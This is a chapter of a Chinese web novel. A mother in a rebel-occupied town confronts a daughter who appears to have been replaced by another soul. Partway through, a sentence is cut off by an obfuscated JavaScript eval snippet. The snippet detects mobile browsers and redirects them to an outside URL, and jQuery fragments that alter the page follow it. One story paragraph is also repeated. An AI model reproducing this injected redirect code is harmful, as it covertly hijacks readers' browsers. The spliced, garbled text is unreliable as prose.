李春花呆呆地坐在破旧的茶棚里，直至晚风卷来一股杂着土腥味的沙尘。


    尘沙味呛，她咳出一口，这才恍然发现，残阳最后一缕金线已被山棱绞断，四野间唯余夜色茫茫。


    她乃拜地母教今日的舍身圣女，因此无人敢近；而今日圣筊答复为否，于是之后也无人扰她。


    按规矩，筊示为否，她便可以走了，甚至可要求教中护送。可她的女儿……还没回来！


    ——是了，女儿！她的女儿去了哪里？怎么既不听她的话，也不回她的身边？！


    念头如冰水浇顶，李春花悚然一惊，猛地站起。四周蛰伏的目光立刻扫来，大多空洞，少数锐利。


    诸多锐利中，一个身穿布袍、头顶扎巾的青年抬头最慢——正是拜地母教的护法处暑。年轻护法将咬了一半的榆皮饼塞回袖中望过来，神情平静，略带好奇。


    “护法郎君。”李春花喊，临到嘴边，却又嗫嚅：“我……有一事不明……”


    处暑走近：“圣女请讲。”


    “我、我挂念我儿……”


    “令郎，”处暑轻叹，“非寻常之辈。”


    李春花张口欲言，又惨然闭紧。她哪里有儿子，她只有、也唯有那一个女儿！出世时是狮子披红，养了半载便会喊娘喊爹，一岁多便跑跳利索，五岁起就追在她身后要帮手……是她亲眼看着、亲手养大的骨肉！是她教她持刀放血，教她识字算数。


    今日暮间来的那个，究竟是不是自家女儿，她岂能不知？


    可那身形样貌，那衣着发髻，分明一模一样！


    “我传信路过莫家庄院，”处暑的声音将她拉回。“见楚小郎君立于场中，面前是几排俘虏、一堆尸首、一摞财物，身后更有十数好汉拱卫。隐约听得小郎君道……”


    他清了清嗓子，模仿着那腔调：“‘破院开路的，排前；动刀子见血的，居中；抬箱出力的，列后。’”


    “她从前……”李春花喃喃道，“一天蹦不出两句话。”


    处暑见她神色迷惘，只道做母亲的乍逢变乱，于是心生不安，便宽慰道：“非常之时，总有非常行事……”


    “这，可这，非常太过……”


    “少年意气，也不算过……”处暑说着，忽一沉吟，问道：“敢问圣女，小郎君年岁几何？”


    “将满十三。”


    处暑双掌轻轻一拍，说道：“正是开脉的好时候，小郎君若能历练出来，当是前途无量。”


    “开脉之后……性情会变？”


    处暑理所当然：“十三四的岁数，怎会不变？”


    他是得了名号的护法，说的也正是世间常理：孩童养过十岁，心性总要生变。素日内敛的或变乖张，素日顽劣的或变沉稳，素日爱说爱笑的也能突然变作锯嘴葫芦，一成不变的反倒少见。


    可也不曾听闻，这一变竟会变了口音习惯，变了步伐姿态，更平白多出从未有过的能耐！自己亲眼看着、亲手养大的女儿，竟像是完全成了另一个人——


    ——是了！那人，那不知是什么的东西，甚至亲口承认过！


    “护法郎君！”李春花头脑发昏，强自定神道：“我要见她！烦劳指路……”


    处暑摇头道：“我也不知，圣女往人多处……哎，他自己来了。”


    果然有人来了。


    穿的是那件她在听闻大朔兵败、挑灯熬油改的褐衣，溅着血，沾着土，走路的姿态却活脱脱是那些有马鞭佩、有腰刀按的贵人——这不是她教的。她教不来。


    这人身边也像那些贵人似的，簇拥着女侍、护卫，虽说个个灰头土面，并不齐整，可人人都喜笑盈腮，甘愿为这人拿着，提着，扛着。


    ……又是自家女儿绝没有的本事。


    几步之间，这熟悉至极的陌生人更近了。李春花看得真切：腰间束的，还是她缝的旧腰带，却多了新刀，悬着马鞭；袖口仍是她打过的补丁，手腕至指间却缠着不知哪来的细布条。脸颊染着细微血渍，像是刚与人近身搏杀。


    那张熟悉的嘴张开——


    “娘。”


    那人喊了声，声音沙哑，似是而非。眼睛还是她女儿的眼睛，投来的眼神却是平视，是审视，仿佛天上鹰隼。“这位是？”


    “地母护法，处暑。”


    青年主动叉手一礼，自报家门。楚琛亦叉手，语气平淡无波：“显州楚成。敢问护法，何处可歇？”


    处暑讶然道：“遍地空屋，小郎君随意便是。”


    “可有热水？”


    “随我来。”


    楚琛自然地拽上李春花。


    茶棚周遭，除了娄旦那些个瑟缩的“货物”，便是散坐的拜地母教教众。无数道目光粘附上来，随着她们移动而转动，好在只是盯着，如同饱食后懒散的兽群，并未暴起扑食。


    楚琛悬着的心略松半分。待被引至一处小院，进了屋，处暑离去，几个手下卸下东西、自行占据外围警戒，她绷着的背也终于放松。


    在河滩边提刀而起时，在斩向马腿关节时，可没想到能活到此刻。


    尽管按后世的眼光，不过得了一堆破烂；尽管镇上最富庶的莫家庄院此刻被曾放占据；尽管这临时上司兼某些临时同事的嘴脸很不顺眼……


    可过关了！结算了！到清点收获的时候了！


    “娘。”楚琛先喊了声，“你晚上可看得清？”


    李氏脸上神色变幻不定。楚琛再唤一句，李氏才猛地一哆嗦，眼神恍惚地聚焦过来：“你……问这做甚？”


    “清点。”楚琛下颌微抬，指向地上，“看。布，钱，米粮。”


    似乎被这些实在名词刺中心神，李氏又用力眨了眨眼，视线落向地面，愕然：


    “这……哪来的？”


    “小半是曾郎君赏的。”楚琛淡淡道，“大半是我挣的。”


    义军的军纪……不怎么样。


    本就是一群饿红了眼的流民啸聚成军，仗着人多势强强占村镇，哪有条件、又哪有可能点出什么纪律？因此，当她打着“整肃”的旗号踏出莫家庄，那是真的很占便宜。


    毕竟还没成彻底的乱民，人心尚未彻底沦丧，脸皮终归还要几分。尤其当执鞭者身后刀光森然出鞘，那些正欲作恶的手便僵在半空，如被钉住七寸的蛇。


    即便后来，似乎回过味来的曾放空降般钻入莫家庄，选亲兵、设统领，新封的五个统领里两个告她劫掠、又有个瘦子亲信告她贪赃，又能如何？


    她自有上缴，有分润，身边立着十数名按刀持剑的汉子，院中财货也还明晃晃堆着。


    曾放再不满，最终也只能和个稀泥，甩句下不为例。还得谢她——谢她先登破庄，谢她“维持”了纪律，并以此为由，分她钱粮。


    有上缴，又给同伙分润，身边站着十好几号佩刀拿剑的，院里财货都还朝天放着。曾放对她再不满，最终也只能和个稀泥，来句下不为例。还要谢谢她，谢她先登，谢她维持纪律，并以此分她钱粮。


    楚琛目光扫过地上布帛，其中夹杂着几件明显是年轻女子式样的衣裳，大约是莫家庄女眷之物。


    心头那根弦却无声收紧。曾放犒赏手下，除了钱粮杂物，还有活生生的货物。


    一旦无势力傍身，或所属势力一朝倾颓，在此地身为女子，与待宰羔羊、待分的财货何异？


    不过这类冰冷现实，倒不必再灌进李春花耳中了。


    “娘，今夜恐怕不太平。”楚琛道，“你还没答我，看不看得清？”


    李春花没有回答，只是直勾勾盯着地上那堆财货，脸上既无喜色，也不像嫌弃，一副神思不属的模样。楚琛索性更直白道：


    “娘，我有点疑心，娄旦——就是今天送我使女的那个，你可能没留意……”


    “我知道娄家五郎。”李氏忽地打断她，“他怎么。”


    “好吧。我疑心娄五郎要火并曾放——就是借我那些人来找你的那个头领，你可能没见……”


    “我见过。”李春


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203635|181264||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    花再次打断，眼神终于彻底聚焦，“好端端的，为何火并？”


    “直觉。”


    李氏疑惑地看过来，楚琛更疑惑地看回去，一看便看到李氏头顶的傲人发量——这不是后世的老娘，才不会配合捧场。楚琛尴尬一咳，解释道：


    “你走之后，我从曾放那借了人，过来找你。我猜，曾放本就存心要闹事，没我他也会找别人，我算赶巧……不过这些都不要紧。”


    “他已经造反了。”


    “既然走到这一步，至少得闹到能受招安的地步。但在此之前，这么多人张嘴要粮、伸手要钱，天上掉不下来，地上也变不出来，怎么办？只能刮地皮，刮百姓，刮大户。这边的百姓我看是刮不出油水了。娄旦，倒是个现成的大户。”


    而娄旦自家很知道自家有多肥。从他那借的护卫，个个都佩着刀。


    “眼下，曾放占了清风镇，娄旦会怕。反过来，镇上不止有义军一家，曾放同样会怕——”


    楚琛陡然一顿，电光石火间，某个大胆的念头划过脑子——“我倒也可以让他们怕。”


    她喃喃自语，继而左右扫视一眼，压低声音急问道：


    “娘，你，呃，你是哪边的？”


    “什么哪边？”


    “看谁顺眼？”楚琛追问，“还是都看不顺眼？”


    李氏似乎是听懂了，眼中多出股难言神色：“……靠你？”


    “别小瞧我。”楚琛自得一笑，“我手下已有四个。再吆喝一声，少说也能拉来十七八个临时的。”


    “四个？……哪来的？”


    “说来话长。大概是娄旦送我一个，路上碰见两个，曾放那骗来一个。”


    “我听护法说，你调过些人……”


    “娄旦是借过我些人手。但要办这事，只能用近处的。”


    “娄郎君，”李春花紧盯着她，“为何肯借人给你？”


    “呃……大概因为曾放先借了人给我……”


    “可曾郎……”


    “娘，你完全没听吗？”


    “你说得绕来绕去。”


    好吧。楚琛深吸一口气：“那我从头说。曾放要起事，这是前提，是吧。”


    “你说过了。”


    “但他怕那个什么护法，还有护法背后的教派，就是人市里的……”


    “拜地母教。”


    “对。我猜，这个曾放，和拜地母教有些暗地里的勾当，进了些……原料之类，也不好说是什么，总之不好撕破脸。这时撞见我，”楚琛指了指自己，“横空出世，杀了匹马，他大概觉着碰上同行……”


    “你何时又杀的马？”


    “河滩那，小事，后续说。”楚琛随意一摆手，“反正，他来搭话，排除我不是同行。又知道我娘——你——困在人市。”


    “他肯定知道人市背后是拜地母教，认为是个大好机会，于是大方借人给我。”


    “这便是我去人市前的事。然后，人市里你见着我，娄旦则见我带了这么些人，可能以为我在义军里有点分量。”楚琛语速飞快，“等我回去，曾放见我有刀有人，自然既不好翻脸，又不好不讲道理，唯有假装好人。”


    “至于别的，一见曾放都不管，我还分钱，那就认我了。”


    “说穿了，不过借力打力、左脚踩右脚上天的把戏。”


    长长一段解释完，李氏静静凝视她，眼神深得像口枯井：“孩子，你心思好细。”


    ——这反应不对。


    某些大胆的计划悄然后退，某种不祥的预感陡然腾起。楚琛心中一沉，干笑着找补道：“我烧退后，是觉着，头脑清晰——”


    “那你想不想得起，为娘的名字。”李氏问，“你自己，生于何年何月何日？平日最爱吃些什么，恶些什么？家门口几棵树，水井台子几级阶？”


    妇人猛地抢前一步，抓住她的前襟，双目圆睁，血丝满布：


    “你到底是谁！？我的女儿，她又去了何处？！”